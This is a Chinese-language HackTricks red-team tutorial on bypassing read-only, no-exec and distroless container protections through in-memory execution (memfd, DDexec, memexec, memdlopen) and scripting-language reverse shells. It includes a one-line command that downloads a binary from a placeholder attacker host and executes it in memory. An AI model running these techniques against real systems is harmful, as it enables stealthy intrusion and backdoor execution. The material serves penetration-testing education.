hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
2024-02-23 16:42:48 +00:00
..
ddexec.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:56:12 +00:00
README.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:42:48 +00:00

绕过文件系统保护:只读 / 无执行 / Distroless

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

如果您对黑客职业感兴趣并想要黑掉不可能黑掉的东西 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。

{% embed url="https://www.stmcyber.com/careers" %}

视频

在以下视频中,您可以找到本页中提到的技术的更深入解释:

只读 / 无执行场景

在Linux机器上发现只读ro文件系统保护变得越来越普遍,特别是在容器中。这是因为在容器中运行只读文件系统只需在securitycontext中设置**readOnlyRootFilesystem: true**即可:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

然而,即使文件系统被挂载为只读,/dev/shm仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以无执行保护挂载,因此如果您在此处下载二进制文件,则无法执行它。

{% hint style="warning" %} 从红队的角度来看,这使得下载和执行系统中不存在的二进制文件(如后门或类似kubectl的枚举器)变得复杂。 {% endhint %}

最简单的绕过方法:脚本

请注意,我提到了二进制文件,只要解释器在机器内部,您可以执行任何脚本,比如shell脚本(如果存在sh)或Python脚本(如果安装了python)。

然而,这仅仅足以执行您的二进制后门或其他可能需要运行的二进制工具。

内存绕过

如果您想要执行一个二进制文件,但文件系统不允许,最好的方法是通过从内存中执行,因为保护在那里不适用

FD + exec系统调用绕过

如果您在机器内部有一些强大的脚本引擎,比如PythonPerlRuby,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(create_memfd系统调用)中,这不会受到这些保护的保护,然后调用**exec系统调用**,指示fd作为要执行的文件

为此,您可以轻松使用项目fileless-elf-exec。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含使用指令对二进制文件进行压缩和b64编码以及在调用create_memfd系统调用创建fd并调用exec系统调用运行它的指令。

{% hint style="warning" %} 这在其他脚本语言如PHP或Node中不起作用因为它们没有任何从脚本中调用原始系统调用的默认方法,因此无法调用create_memfd来创建内存fd以存储二进制文件。

此外,在/dev/shm中创建一个常规fd并不起作用,因为您将无法运行它,因为无执行保护将适用。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec是一种允许您通过覆盖其**/proc/self/mem修改自己进程的内存**的技术。

因此,通过控制进程执行的汇编代码,您可以编写一个shellcode并“变异”进程以执行任意代码

{% hint style="success" %} DDexec / EverythingExec将允许您从内存加载和执行自己的shellcode任何二进制文件。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec是DDexec的自然下一步。它是一个DDexec shellcode demonised,因此每次您想要运行不同的二进制文件您无需重新启动DDexec只需通过DDexec技术运行memexec shellcode然后与此守护进程通信以传递要加载和运行的新二进制文件

您可以在https://github.com/arget13/memexec/blob/main/a.php中找到如何使用memexec执行PHP反向shell的示例。

Memdlopen

与DDexec有类似目的memdlopen技术允许以更简单的方式将二进制文件加载到内存中以后执行它们。甚至可以加载具有依赖关系的二进制文件。

Distroless Bypass

什么是distroless

Distroless容器仅包含运行特定应用程序或服务所需的最少组件例如库和运行时依赖项但不包括诸如软件包管理器、shell或系统实用程序等较大的组件。

Distroless容器的目标是通过消除不必要的组件减少容器的攻击面,并最小化可以被利用的漏洞数量。

反向Shell

在distroless容器中您可能**找不到shbash**以获取常规shell。您也不会找到诸如lswhoamiid等二进制文件...通常在系统中运行的所有内容。

{% hint style="warning" %} 因此,您将无法像通常那样获得反向shell枚举系统。 {% endhint %}

但是如果受损的容器例如正在运行flask web则已安装了python因此您可以获取Python反向shell。如果正在运行node则可以获取Node反向shell大多数任何脚本语言都是如此。

{% hint style="success" %} 使用脚本语言,您可以使用语言功能枚举系统。 {% endhint %}

如果没有**只读/无执行保护您可以滥用反向shell在文件系统中写入您的二进制文件执行**它们。

{% hint style="success" %} 但是,在这种类型的容器中,这些保护通常存在,但您可以使用先前的内存执行技术来绕过它们。 {% endhint %}

您可以在https://github.com/carlospolop/DistrolessRCE中找到如何利用一些RCE漏洞来获取脚本语言反向shell并从内存中执行二进制文件的示例

如果您对黑客职业感兴趣并想要黑入不可黑入的 - 我们正在招聘!(需要流利的波兰语书面和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式